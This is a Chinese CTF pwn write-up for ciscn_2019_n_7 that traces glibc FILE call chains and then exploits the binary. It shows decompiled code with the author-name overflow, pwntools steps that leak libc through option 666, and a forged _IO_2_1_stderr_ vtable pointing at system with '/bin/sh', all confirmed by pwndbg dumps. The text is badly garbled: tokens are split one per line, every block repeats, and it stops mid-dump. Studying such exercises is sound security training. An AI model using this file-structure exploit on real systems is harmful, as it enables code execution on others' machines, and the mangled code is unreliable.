打开文件,并将文件描述符赋值给
FILE
结构体的_fileno 字段,最后再次调用_IO_link_in函数,确保该结构体被链接进入_IO_list_all链表。
/
/
未调用vtable中的函数
/
/
函数原型:
FILE
*
fopen(const char
*
filename, const char
*
mode);
/
/
调用链:
fopen(_IO_new_fopen)
-
> __fopen_internal
-
> malloc
/
/
分配内存空间
-
> _IO_no_init
/
/
对
FILE
结构体进行null初始化。
-
> _IO_file_init
/
/
将
FILE
结构体链接进入_IO_list_all链表
-
> _IO_file_fopen
/
/
执行系统调用
open
打开文件,并将文件描述符赋值给
FILE
结构体的_fileno 字段,最后再次调用_IO_link_in函数,确保该结构体被链接进入_IO_list_all链表。
/
/
未调用vtable中的函数
/
/
函数原型:
size_t fread(void
*
ptr, size_t size, size_t nmemb,
FILE
*
stream);
/
/
调用链:
fread(_IO_fread)
-
> _IO_sgetn (_IO_XSGETN(宏))
-
> _IO_file_xsgetn(__GI__IO_file_xsgetn)
/
/
fread读入数据的核心函数
-
> _IO_doallocbuf
-
> _IO_file_doallocate
/
/
初始化
FILE
结构体中的指针,建立输入缓冲区
-
> __underflow
-
> _IO_file_underflow
/
/
调用系统调用读入数据
/
/
_IO_file_xsgetn是处理fread读入数据的核心函数,分为三个部分:
/
/
第一部分是fp
-
>_IO_buf_base为空的情况,表明此时的
FILE
结构体中的指针未被初始化,输入缓冲区未建立,则调用_IO_doallocbuf去初始化指针,建立输入缓冲区。
/
/
第二部分是输入缓冲区里有输入,即fp
-
>_IO_read_ptr小于fp
-
>_IO_read_end,此时将缓冲区里的数据直接拷贝至目标buff。
/
/
第三部分是输入缓冲区里的数据为空或者是不能满足全部的需求,则调用__underflow调用系统调用读入数据。
/
/
调用vtable中的函数:
/
/
1
、_IO_sgetn函数调用了vtable的_IO_file_xsgetn。
/
/
2
、_IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
/
/
3
、vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
/
/
4
、__underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。
/
/
5
、vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。
/
/
函数原型:
size_t fread(void
*
ptr, size_t size, size_t nmemb,
FILE
*
stream);
/
/
调用链:
fread(_IO_fread)
-
> _IO_sgetn (_IO_XSGETN(宏))
-
> _IO_file_xsgetn(__GI__IO_file_xsgetn)
/
/
fread读入数据的核心函数
-
> _IO_doallocbuf
-
> _IO_file_doallocate
/
/
初始化
FILE
结构体中的指针,建立输入缓冲区
-
> __underflow
-
> _IO_file_underflow
/
/
调用系统调用读入数据
/
/
_IO_file_xsgetn是处理fread读入数据的核心函数,分为三个部分:
/
/
第一部分是fp
-
>_IO_buf_base为空的情况,表明此时的
FILE
结构体中的指针未被初始化,输入缓冲区未建立,则调用_IO_doallocbuf去初始化指针,建立输入缓冲区。
/
/
第二部分是输入缓冲区里有输入,即fp
-
>_IO_read_ptr小于fp
-
>_IO_read_end,此时将缓冲区里的数据直接拷贝至目标buff。
/
/
第三部分是输入缓冲区里的数据为空或者是不能满足全部的需求,则调用__underflow调用系统调用读入数据。
/
/
调用vtable中的函数:
/
/
1
、_IO_sgetn函数调用了vtable的_IO_file_xsgetn。
/
/
2
、_IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
/
/
3
、vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
/
/
4
、__underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。
/
/
5
、vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。
/
/
函数原型:
size_t fwrite(const void
*
ptr, size_t size, size_t nmemb,
FILE
*
stream)
/
/
调用链:
fwrite(_IO_fwrite)
-
> _IO_sputn (_IO_XSPUTN)
-
> _IO_new_file_xsputn
/
/
1
、首先判断输出缓冲区是否还有容量,如果有,则将目标输出数据拷贝至输出缓冲区。
/
/
2
、如果输出缓冲区没有剩余(输出缓冲区未建立也是没有剩余)或输出缓冲区不够则调用 _IO_OVERFLOW 建立输出缓冲区或刷新输出缓冲区。
-
> _IO_OVERFLOW
-
> __overflow(_IO_new_file_overflow)
-
>
/
/
2.1
判断标志位是否包含 _IO_NO_WRITES,若包含,则直接返回
-
> _IO_doallocbuf
-
> _IO_file_doallocate
/
/
2.2
.
1
判断输出缓冲区是否为空,若空,则调用 _IO_doallocbuf 去分配
-
> _IO_setg
/
/
2.2
.
2
接
2.2
,如果为空,分配输出缓冲区后,设置read相关的三个指针
-
>
/
/
2.3
初始化其他指针,最主要的是write相关的三个指针
-
> _IO_do_write(_IO_new_do_write)
/
/
2.4
调用系统调用write输出输出缓冲区,输出的内容为f
-
>_IO_write_ptr到f
-
>_IO_write_base之间的内容
-
> _IO_SYSWRITE
-
> __write(_IO_new_file_write)
-
> write
/
/
3
、输出缓冲区刷新后判断剩余的目标输出数据是否超过块的size,如果超过块的size,则不通过输出缓冲区直接以块为单位,使用 _IO_new_do_write 输出目标数据。
/
/
4
、如果按块输出数据后还剩下一点数据则调用 _IO_default_xsputn 将数据拷贝至输出缓冲区。
-
> _IO_default_xsputn
/
/
调用vtable中的函数
/
/
1
、_IO_fwrite 函数调用了vtable的 _IO_new_file_xsputn。
/
/
2
、_IO_new_file_xsputn 函数调用了vtable中的 _IO_new_file_overflow 实现缓冲区的建立以及刷新缓冲区。
/
/
3
、vtable中的 _IO_new_file_overflow 函数调用了vtable的 _IO_file_doallocate 以初始化输入缓冲区。
/
/
4
、vtable中的_IO_file_doallocate调用了vtable中的 __GI__IO_file_stat 以获取文件信息。
/
/
5
、new_do_write中的_IO_SYSWRITE调用了vtable的 _IO_new_file_write 最终去执行系统调用write。
/
/
函数原型:
size_t fwrite(const void
*
ptr, size_t size, size_t nmemb,
FILE
*
stream)
/
/
调用链:
fwrite(_IO_fwrite)
-
> _IO_sputn (_IO_XSPUTN)
-
> _IO_new_file_xsputn
/
/
1
、首先判断输出缓冲区是否还有容量,如果有,则将目标输出数据拷贝至输出缓冲区。
/
/
2
、如果输出缓冲区没有剩余(输出缓冲区未建立也是没有剩余)或输出缓冲区不够则调用 _IO_OVERFLOW 建立输出缓冲区或刷新输出缓冲区。
-
> _IO_OVERFLOW
-
> __overflow(_IO_new_file_overflow)
-
>
/
/
2.1
判断标志位是否包含 _IO_NO_WRITES,若包含,则直接返回
-
> _IO_doallocbuf
-
> _IO_file_doallocate
/
/
2.2
.
1
判断输出缓冲区是否为空,若空,则调用 _IO_doallocbuf 去分配
-
> _IO_setg
/
/
2.2
.
2
接
2.2
,如果为空,分配输出缓冲区后,设置read相关的三个指针
-
>
/
/
2.3
初始化其他指针,最主要的是write相关的三个指针
-
> _IO_do_write(_IO_new_do_write)
/
/
2.4
调用系统调用write输出输出缓冲区,输出的内容为f
-
>_IO_write_ptr到f
-
>_IO_write_base之间的内容
-
> _IO_SYSWRITE
-
> __write(_IO_new_file_write)
-
> write
/
/
3
、输出缓冲区刷新后判断剩余的目标输出数据是否超过块的size,如果超过块的size,则不通过输出缓冲区直接以块为单位,使用 _IO_new_do_write 输出目标数据。
/
/
4
、如果按块输出数据后还剩下一点数据则调用 _IO_default_xsputn 将数据拷贝至输出缓冲区。
-
> _IO_default_xsputn
/
/
调用vtable中的函数
/
/
1
、_IO_fwrite 函数调用了vtable的 _IO_new_file_xsputn。
/
/
2
、_IO_new_file_xsputn 函数调用了vtable中的 _IO_new_file_overflow 实现缓冲区的建立以及刷新缓冲区。
/
/
3
、vtable中的 _IO_new_file_overflow 函数调用了vtable的 _IO_file_doallocate 以初始化输入缓冲区。
/
/
4
、vtable中的_IO_file_doallocate调用了vtable中的 __GI__IO_file_stat 以获取文件信息。
/
/
5
、new_do_write中的_IO_SYSWRITE调用了vtable的 _IO_new_file_write 最终去执行系统调用write。
/
/
函数原型:
int
fclose(
FILE
*
stream)
/
/
调用链:
fclose(_IO_new_fclose)
-
> _IO_un_link
/
/
将
FILE
结构体从_IO_list_all链表中取下
-
> _IO_file_close_it
/
/
关闭文件并释放缓冲区
-
> _IO_file_is_open
/
/
_IO_file_is_open宏检查该文件是否处于打开的状态
-
> _IO_do_flush
/
/
_IO_do_flush 刷新此时的输出缓冲区
-
> _IO_do_write
/
/
调用系统调用将缓冲区的内容输出到文件,并刷新输出缓冲区的值。
-
> _IO_SYSCLOSE
-
> __close
-
> _IO_setb
/
/
设置结构体的buf指针,并释放缓冲区
-
> _IO_setg
/
/
设置read相关的指针
-
> _IO_setp
/
/
设置write相关的指针
-
> _IO_un_link
/
/
确保
FILE
结构体已从_IO_list_all中取下
-
> _IO_FINISH
/
/
进行最后的确认,确认
FILE
结构体从链表中删除以及缓冲区被释放
-
> __finish
-
> free
/
/
free释放IO_FILE结构体内存
/
/
调用vtable中的函数:
/
/
1
、在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
/
/
2
、关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
/
/
3
、_IO_FINISH函数为vtable中的__finish函数。
/
/
函数原型:
int
fclose(
FILE
*
stream)
/
/
调用链:
fclose(_IO_new_fclose)
-
> _IO_un_link
/
/
将
FILE
结构体从_IO_list_all链表中取下
-
> _IO_file_close_it
/
/
关闭文件并释放缓冲区
-
> _IO_file_is_open
/
/
_IO_file_is_open宏检查该文件是否处于打开的状态
-
> _IO_do_flush
/
/
_IO_do_flush 刷新此时的输出缓冲区
-
> _IO_do_write
/
/
调用系统调用将缓冲区的内容输出到文件,并刷新输出缓冲区的值。
-
> _IO_SYSCLOSE
-
> __close
-
> _IO_setb
/
/
设置结构体的buf指针,并释放缓冲区
-
> _IO_setg
/
/
设置read相关的指针
-
> _IO_setp
/
/
设置write相关的指针
-
> _IO_un_link
/
/
确保
FILE
结构体已从_IO_list_all中取下
-
> _IO_FINISH
/
/
进行最后的确认,确认
FILE
结构体从链表中删除以及缓冲区被释放
-
> __finish
-
> free
/
/
free释放IO_FILE结构体内存
/
/
调用vtable中的函数:
/
/
1
、在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
/
/
2
、关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
/
/
3
、_IO_FINISH函数为vtable中的__finish函数。
if
(((fp
-
>_mode <
=
0
&& fp
-
>_IO_write_ptr > fp
-
>_IO_write_base))
&& _IO_OVERFLOW (fp, EOF)
=
=
EOF)
{
result
=
EOF;
}
if
(((fp
-
>_mode <
=
0
&& fp
-
>_IO_write_ptr > fp
-
>_IO_write_base))
&& _IO_OVERFLOW (fp, EOF)
=
=
EOF)
{
result
=
EOF;
}
lzx@ubuntu16x64:~
/
pwn
/
heap
/
IO_FILE
/
ciscn_2019_n_7$ ls
ciscn_2019_n_7 log.txt
lzx@ubuntu16x64:~
/
pwn
/
heap
/
IO_FILE
/
ciscn_2019_n_7$ .
/
ciscn_2019_n_7
1.add
page
2.edit
page
3.show
page
4.exit
Your choice
-
>
Alarm clock
lzx@ubuntu16x64:~
/
pwn
/
heap
/
IO_FILE
/
ciscn_2019_n_7$ ls
ciscn_2019_n_7 log.txt
lzx@ubuntu16x64:~
/
pwn
/
heap
/
IO_FILE
/
ciscn_2019_n_7$ .
/
ciscn_2019_n_7
1.add
page
2.edit
page
3.show
page
4.exit
Your choice
-
>
Alarm clock
__int64 __fastcall main(__int64 a1, char
*
*
a2, char
*
*
a3)
{
int
v3;
/
/
eax
__int64 v4;
/
/
rdx
__int64 v5;
/
/
rcx
bool
v6;
/
/
zf
bool
v7;
/
/
sf
unsigned __int8 v8;
/
/
of
sub_CA0();
LABEL_2:
while
(
2
)
{
while
(
1
)
{
v3
=
sub_D80(a1, a2);
v8
=
__OFSUB__(v3,
3
);
v6
=
v3
=
=
3
;
v7
=
v3
-
3
<
0
;
if
( v3 !
=
3
)
break
;
LABEL_7:
show();
/
/
3
-
show
}
while
( (unsigned __int8)(v7 ^ v8) | v6 )
{
if
( v3
=
=
1
)
/
/
1
-
add
{
add();
goto LABEL_2;
}
if
( v3 !
=
2
)
goto LABEL_11;
edit();
/
/
2
-
edit
v3
=
sub_D80(a1, a2);
v8
=
__OFSUB__(v3,
3
);
v6
=
v3
=
=
3
;
v7
=
v3
-
3
<
0
;
if
( v3
=
=
3
)
goto LABEL_7;
}
if
( v3
=
=
4
)
exit_();
/
/
4
-
exit_
if
( v3
=
=
666
)
{
sub_C50(a1, (__int64)a2, v4, v5);
/
/
666
-
打印puts函数地址
continue
;
}
break
;
}
LABEL_11:
puts(
"NO, Please continue! "
);
return
0LL
;
}
__int64 __fastcall main(__int64 a1, char
*
*
a2, char
*
*
a3)
{
int
v3;
/
/
eax
__int64 v4;
/
/
rdx
__int64 v5;
/
/
rcx
bool
v6;
/
/
zf
bool
v7;
/
/
sf
unsigned __int8 v8;
/
/
of
sub_CA0();
LABEL_2:
while
(
2
)
{
while
(
1
)
{
v3
=
sub_D80(a1, a2);
v8
=
__OFSUB__(v3,
3
);
v6
=
v3
=
=
3
;
v7
=
v3
-
3
<
0
;
if
( v3 !
=
3
)
break
;
LABEL_7:
show();
/
/
3
-
show
}
while
( (unsigned __int8)(v7 ^ v8) | v6 )
{
if
( v3
=
=
1
)
/
/
1
-
add
{
add();
goto LABEL_2;
}
if
( v3 !
=
2
)
goto LABEL_11;
edit();
/
/
2
-
edit
v3
=
sub_D80(a1, a2);
v8
=
__OFSUB__(v3,
3
);
v6
=
v3
=
=
3
;
v7
=
v3
-
3
<
0
;
if
( v3
=
=
3
)
goto LABEL_7;
}
if
( v3
=
=
4
)
exit_();
/
/
4
-
exit_
if
( v3
=
=
666
)
{
sub_C50(a1, (__int64)a2, v4, v5);
/
/
666
-
打印puts函数地址
continue
;
}
break
;
}
LABEL_11:
puts(
"NO, Please continue! "
);
return
0LL
;
}
unsigned
int
sub_CA0()
{
FILE
*
v0;
/
/
rbx
char v1;
/
/
al
unsigned
int
result;
/
/
eax
unsigned __int64 v3;
/
/
rt1
unsigned __int64 v4;
/
/
[rsp
+
8h
] [rbp
-
20h
]
v4
=
__readfsqword(
0x28u
);
v0
=
fopen(
"log.txt"
,
"r"
);
while
(
1
)
{
v1
=
fgetc(v0);
if
( v1
=
=
-
1
)
break
;
IO_putc(v1, stdout);
}
fclose(v0);
setvbuf(stdout,
0LL
,
2
,
0LL
);
setvbuf(stdin,
0LL
,
1
,
0LL
);
setvbuf(stderr,
0LL
,
1
,
0LL
);
global
=
malloc(
0x18uLL
);
/
/
malloc了一个chunk给全局变量
v3
=
__readfsqword(
0x28u
);
result
=
v3 ^ v4;
if
( v3
=
=
v4 )
result
=
alarm(
0x3Cu
);
return
result;
}
unsigned
int
sub_CA0()
{
FILE
*
v0;
/
/
rbx
char v1;
/
/
al
unsigned
int
result;
/
/
eax
unsigned __int64 v3;
/
/
rt1
unsigned __int64 v4;
/
/
[rsp
+
8h
] [rbp
-
20h
]
v4
=
__readfsqword(
0x28u
);
v0
=
fopen(
"log.txt"
,
"r"
);
while
(
1
)
{
v1
=
fgetc(v0);
if
( v1
=
=
-
1
)
break
;
IO_putc(v1, stdout);
}
fclose(v0);
setvbuf(stdout,
0LL
,
2
,
0LL
);
setvbuf(stdin,
0LL
,
1
,
0LL
);
setvbuf(stderr,
0LL
,
1
,
0LL
);
global
=
malloc(
0x18uLL
);
/
/
malloc了一个chunk给全局变量
v3
=
__readfsqword(
0x28u
);
result
=
v3 ^ v4;
if
( v3
=
=
v4 )
result
=
alarm(
0x3Cu
);
return
result;
}
unsigned __int64 add()
{
int
len_;
/
/
eax
_QWORD
*
v1;
/
/
r12
__int64
len
;
/
/
[rsp
+
0h
] [rbp
-
28h
]
unsigned __int64 v4;
/
/
[rsp
+
8h
] [rbp
-
20h
]
v4
=
__readfsqword(
0x28u
);
if
( unk_202014 )
{
puts(aExists);
}
else
{
puts(
"Input string Length: "
);
read(
0
, &
len
,
8uLL
);
len_
=
strtol((const char
*
)&
len
,
0LL
,
10
);
if
( (unsigned __int64)len_ >
0x100
)
{
puts(
"Large!"
);
}
else
{
v1
=
global
;
*
global
=
len_;
v1[
2
]
=
malloc(len_);
unk_202014
=
1
;
puts(
"Author name:"
);
read(
0
,
global
+
1
,
0x10uLL
);
/
/
输入
0x10
长度的author name,可以覆盖article指针
puts(
"Now,you can edit your article."
);
}
}
return
__readfsqword(
0x28u
) ^ v4;
}
unsigned __int64 add()
{
int
len_;
/
/
eax
_QWORD
*
v1;
/
/
r12
__int64
len
;
/
/
[rsp
+
0h
] [rbp
-
28h
]
unsigned __int64 v4;
/
/
[rsp
+
8h
] [rbp
-
20h
]
v4
=
__readfsqword(
0x28u
);
if
( unk_202014 )
{
puts(aExists);
}
else
{
puts(
"Input string Length: "
);
read(
0
, &
len
,
8uLL
);
len_
=
strtol((const char
*
)&
len
,
0LL
,
10
);
if
( (unsigned __int64)len_ >
0x100
)
{
puts(
"Large!"
);
}
else
{
v1
=
global
;
*
global
=
len_;
v1[
2
]
=
malloc(len_);
unk_202014
=
1
;
puts(
"Author name:"
);
read(
0
,
global
+
1
,
0x10uLL
);
/
/
输入
0x10
长度的author name,可以覆盖article指针
puts(
"Now,you can edit your article."
);
}
}
return
__readfsqword(
0x28u
) ^ v4;
}
int
edit()
{
int
result;
/
/
eax
unsigned __int64 v1;
/
/
rt1
unsigned __int64 v2;
/
/
rt1
unsigned __int64 v3;
/
/
[rsp
+
8h
] [rbp
-
10h
]
v3
=
__readfsqword(
0x28u
);
if
( unk_202014 )
{
puts(aNew);
read(
0
,
global
+
1
,
0x10uLL
);
/
/
同add一样,可溢出修改article指针
puts(
"New contents:"
);
read(
0
, (void
*
)
global
[
2
],
*
global
);
/
/
从这可以看出文章内容存在
global
[
2
],若溢出,则可任意地址写
v1
=
__readfsqword(
0x28u
);
result
=
v1 ^ v3;
if
( v1
=
=
v3 )
result
=
puts(
"Over."
);
}
else
{
v2
=
__readfsqword(
0x28u
);
result
=
v2 ^ v3;
if
( v2
=
=
v3 )
result
=
puts(
"Dont't exists."
);
}
return
result;
}
int
edit()
{
int
result;
/
/
eax
unsigned __int64 v1;
/
/
rt1
unsigned __int64 v2;
/
/
rt1
unsigned __int64 v3;
/
/
[rsp
+
8h
] [rbp
-
10h
]
v3
=
__readfsqword(
0x28u
);
if
( unk_202014 )
{
puts(aNew);
read(
0
,
global
+
1
,
0x10uLL
);
/
/
同add一样,可溢出修改article指针
puts(
"New contents:"
);
read(
0
, (void
*
)
global
[
2
],
*
global
);
/
/
从这可以看出文章内容存在
global
[
2
],若溢出,则可任意地址写
v1
=
__readfsqword(
0x28u
);
result
=
v1 ^ v3;
if
( v1
=
=
v3 )
result
=
puts(
"Over."
);
}
else
{
v2
=
__readfsqword(
0x28u
);
result
=
v2 ^ v3;
if
( v2
=
=
v3 )
result
=
puts(
"Dont't exists."
);
}
return
result;
}
int
show()
{
int
result;
/
/
eax
unsigned __int64 v1;
/
/
rt1
unsigned __int64 v2;
/
/
[rsp
+
8h
] [rbp
-
10h
]
v2
=
__readfsqword(
0x28u
);
if
( unk_202014 )
{
result
=
(signed
int
)
global
;
if
( __readfsqword(
0x28u
)
=
=
v2 )
result
=
_printf_chk(
1LL
,
"%s\nAuthor:%s\n"
,
global
[
2
],
global
+
1
);
}
else
{
v1
=
__readfsqword(
0x28u
);
result
=
v1 ^ v2;
if
( v1
=
=
v2 )
result
=
puts(
"Dont't exists."
);
}
return
result;
}
int
show()
{
int
result;
/
/
eax
unsigned __int64 v1;
/
/
rt1
unsigned __int64 v2;
/
/
[rsp
+
8h
] [rbp
-
10h
]
v2
=
__readfsqword(
0x28u
);
if
( unk_202014 )
{
result
=
(signed
int
)
global
;
if
( __readfsqword(
0x28u
)
=
=
v2 )
result
=
_printf_chk(
1LL
,
"%s\nAuthor:%s\n"
,
global
[
2
],
global
+
1
);
}
else
{
v1
=
__readfsqword(
0x28u
);
result
=
v1 ^ v2;
if
( v1
=
=
v2 )
result
=
puts(
"Dont't exists."
);
}
return
result;
}
void __noreturn exit_()
{
close(
1
);
close(
2
);
exit(
0
);
}
void __noreturn exit_()
{
close(
1
);
close(
2
);
exit(
0
);
}
int
close(
int
fd)
{
return
close(fd);
}
int
close(
int
fd)
{
return
close(fd);
}
__int64 __fastcall sub_C50(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__readfsqword(
0x28u
);
__readfsqword(
0x28u
);
return
_printf_chk(
1LL
, &unk_10D4, &puts, a4);
}
__int64 __fastcall sub_C50(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__readfsqword(
0x28u
);
__readfsqword(
0x28u
);
return
_printf_chk(
1LL
, &unk_10D4, &puts, a4);
}
p
*
((struct [结构体类型]
*
) [地址])
p
*
((struct [结构体类型]
*
) [地址])
# step1: leak addr
command(
666
)
puts_addr
=
int
(r(
14
),
16
)
leak(
"puts_addr"
,puts_addr)
libc_base
=
puts_addr
-
libc.sym[
'puts'
]
leak(
"libc_base"
,libc_base)
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr
=
libc.sym[
'_IO_2_1_stderr_'
]
+
libc_base
leak(
"IO_2_1_stderr"
, IO_2_1_stderr)
system
=
libc_base
+
libc.sym[
'system'
]
leak(
"system"
, system)
dbg()
# step1: leak addr
command(
666
)
puts_addr
=
int
(r(
14
),
16
)
leak(
"puts_addr"
,puts_addr)
libc_base
=
puts_addr
-
libc.sym[
'puts'
]
leak(
"libc_base"
,libc_base)
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr
=
libc.sym[
'_IO_2_1_stderr_'
]
+
libc_base
leak(
"IO_2_1_stderr"
, IO_2_1_stderr)
system
=
libc_base
+
libc.sym[
'system'
]
leak(
"system"
, system)
dbg()
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload
=
'a'
*
8
+
p64(IO_2_1_stderr)
add(
0xf8
,payload)
# sizeof(_IO_2_1_stderr_)=0xe0
dbg()
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload
=
'a'
*
8
+
p64(IO_2_1_stderr)
add(
0xf8
,payload)
# sizeof(_IO_2_1_stderr_)=0xe0
dbg()
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr:
0x5646d0338000
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x5646d0338020
Size:
0x101
Top chunk | PREV_INUSE
Addr:
0x5646d0338120
Size:
0x20ee1
pwndbg> x
/
8gx
0x5646d0338000
0x5646d0338000
:
0x0000000000000000
0x0000000000000021
0x5646d0338010
:
0x00000000000000f8
0x6161616161616161
0x5646d0338020
:
0x00007f09704ab540
0x0000000000000101
article指针已经被覆盖为指向_IO_2_1_stderr_
0x5646d0338030
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
gx
0x00007f09704ab540
0x7f09704ab540
<_IO_2_1_stderr_>:
0x00000000fbad2284
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr:
0x5646d0338000
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x5646d0338020
Size:
0x101
Top chunk | PREV_INUSE
Addr:
0x5646d0338120
Size:
0x20ee1
pwndbg> x
/
8gx
0x5646d0338000
0x5646d0338000
:
0x0000000000000000
0x0000000000000021
0x5646d0338010
:
0x00000000000000f8
0x6161616161616161
0x5646d0338020
:
0x00007f09704ab540
0x0000000000000101
article指针已经被覆盖为指向_IO_2_1_stderr_
0x5646d0338030
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
gx
0x00007f09704ab540
0x7f09704ab540
<_IO_2_1_stderr_>:
0x00000000fbad2284
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
#define writebase_offset 0x20 ->0
#define writeptr_offset 0x28 ->1
#define mode_offset 0xc0 ->0
#define vtable_offset 0xd8 ->system&onegadget
payload
=
'/bin/sh\x00'
+
p64(
0
)
*
3
+
p64(
0
)
+
p64(
1
)
#0x30
payload
+
=
p64(
0
)
*
4
+
p64(system)
*
4
#p64(libc_base+0x4526a)*4#0x50-0x70
payload
=
payload.ljust(
0xd8
,
'\x00'
)
payload
+
=
p64(IO_2_1_stderr
+
0x40
)
edit(
'a\n'
, payload)
dbg()
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
#define writebase_offset 0x20 ->0
#define writeptr_offset 0x28 ->1
#define mode_offset 0xc0 ->0
#define vtable_offset 0xd8 ->system&onegadget
payload
=
'/bin/sh\x00'
+
p64(
0
)
*
3
+
p64(
0
)
+
p64(
1
)
#0x30
payload
+
=
p64(
0
)
*
4
+
p64(system)
*
4
#p64(libc_base+0x4526a)*4#0x50-0x70
payload
=
payload.ljust(
0xd8
,
'\x00'
)
payload
+
=
p64(IO_2_1_stderr
+
0x40
)
edit(
'a\n'
, payload)
dbg()
pwndbg> p _IO_2_1_stderr_
$
1
=
{
file
=
{
_flags
=
-
72539516
,
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
_IO_write_ptr
=
0x0
,
_IO_write_end
=
0x0
,
_IO_buf_base
=
0x0
,
_IO_buf_end
=
0x0
,
_IO_save_base
=
0x0
,
_IO_backup_base
=
0x0
,
_IO_save_end
=
0x0
,
_markers
=
0x0
,
_chain
=
0x7efe8674e620
<_IO_2_1_stdout_>,
_fileno
=
2
,
_flags2
=
0
,
_old_offset
=
-
1
,
_cur_column
=
0
,
_vtable_offset
=
0
'\000'
,
_shortbuf
=
"",
_lock
=
0x7efe8674f770
<_IO_stdfile_2_lock>,
_offset
=
-
1
,
_codecvt
=
0x0
,
_wide_data
=
0x7efe8674d660
<_IO_wide_data_2>,
_freeres_list
=
0x0
,
_freeres_buf
=
0x0
,
__pad5
=
0
,
_mode
=
0
,
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
0x7efe8674c6e0
<_IO_file_jumps>
}
pwndbg> p _IO_2_1_stderr_
$
1
=
{
file
=
{
_flags
=
-
72539516
,
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
_IO_write_ptr
=
0x0
,
_IO_write_end
=
0x0
,
_IO_buf_base
=
0x0
,
_IO_buf_end
=
0x0
,
_IO_save_base
=
0x0
,
_IO_backup_base
=
0x0
,
_IO_save_end
=
0x0
,
_markers
=
0x0
,
_chain
=
0x7efe8674e620
<_IO_2_1_stdout_>,
_fileno
=
2
,
_flags2
=
0
,
_old_offset
=
-
1
,
_cur_column
=
0
,
_vtable_offset
=
0
'\000'
,
_shortbuf
=
"",
_lock
=
0x7efe8674f770
<_IO_stdfile_2_lock>,
_offset
=
-
1
,
_codecvt
=
0x0
,
_wide_data
=
0x7efe8674d660
<_IO_wide_data_2>,
_freeres_list
=
0x0
,
_freeres_buf
=
0x0
,
__pad5
=
0
,
_mode
=
0
,
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
0x7efe8674c6e0
<_IO_file_jumps>
}
pwndbg> p _IO_2_1_stderr_
$
1
=
{
file
=
{
_flags
=
1852400175
,
# /bin/sh
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
# 0
_IO_write_ptr
=
0x1
<error: Cannot access memory at address
0x1
>,
# 1
_IO_write_end
=
0x0
,
_IO_buf_base
=
0x0
,
_IO_buf_end
=
0x0
,
# <-- 覆写的vtable会指向这里
_IO_save_base
=
0x0
,
_IO_backup_base
=
0x7efe863ce3a0
<__libc_system>
"H\205\377t\v\351\206\372\377\377f\017\037D"
,
# system
_IO_save_end
=
0x7efe863ce3a0
<__libc_system>
"H\205\377t\v\351\206\372\377\377f\017\037D"
,
# system
_markers
=
0x7efe863ce3a0
<__libc_system>,
# system
_chain
=
0x7efe863ce3a0
<__libc_system>,
# system
_fileno
=
0
,
_flags2
=
0
,
_old_offset
=
0
,
_cur_column
=
0
,
_vtable_offset
=
0
'\000'
,
_shortbuf
=
"",
_lock
=
0x0
,
_offset
=
0
,
_codecvt
=
0x0
,
_wide_data
=
0x0
,
_freeres_list
=
0x0
,
_freeres_buf
=
0x0
,
__pad5
=
0
,
_mode
=
0
,
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
0x7efe8674e580
<_IO_2_1_stderr_
+
64
>
# addr(_IO_2_1_stderr_) + 0x40
}
pwndbg> p _IO_file_jumps
$
2
=
{
__dummy
=
0
,
__dummy2
=
0
,
__finish
=
0x7efe864029d0
<_IO_new_file_finish>,
__overflow
=
0x7efe86403740
<_IO_new_file_overflow>,
# exit会调用(偏移为4)
__underflow
=
0x7efe864034b0
<_IO_new_file_underflow>,
__uflow
=
0x7efe86404610
<__GI__IO_default_uflow>,
__pbackfail
=
0x7efe86405990
<__GI__IO_default_pbackfail>,
__xsputn
=
0x7efe864021f0
<_IO_new_file_xsputn>,
__xsgetn
=
0x7efe86401ed0
<__GI__IO_file_xsgetn>,
__seekoff
=
0x7efe864014d0
<_IO_new_file_seekoff>,
__seekpos
=
0x7efe86404a10
<_IO_default_seekpos>,
__setbuf
=
0x7efe86401440
<_IO_new_file_setbuf>,
__sync
=
0x7efe86401380
<_IO_new_file_sync>,
__doallocate
=
0x7efe863f6190
<__GI__IO_file_doallocate>,
__read
=
0x7efe864021b0
<__GI__IO_file_read>,
__write
=
0x7efe86401b80
<_IO_new_file_write>,
__seek
=
0x7efe86401980
<__GI__IO_file_seek>,
__close
=
0x7efe86401350
<__GI__IO_file_close>,
__stat
=
0x7efe86401b70
<__GI__IO_file_stat>,
__showmanyc
=
0x7efe86405b00
<_IO_default_showmanyc>,
__imbue
=
0x7efe86405b10
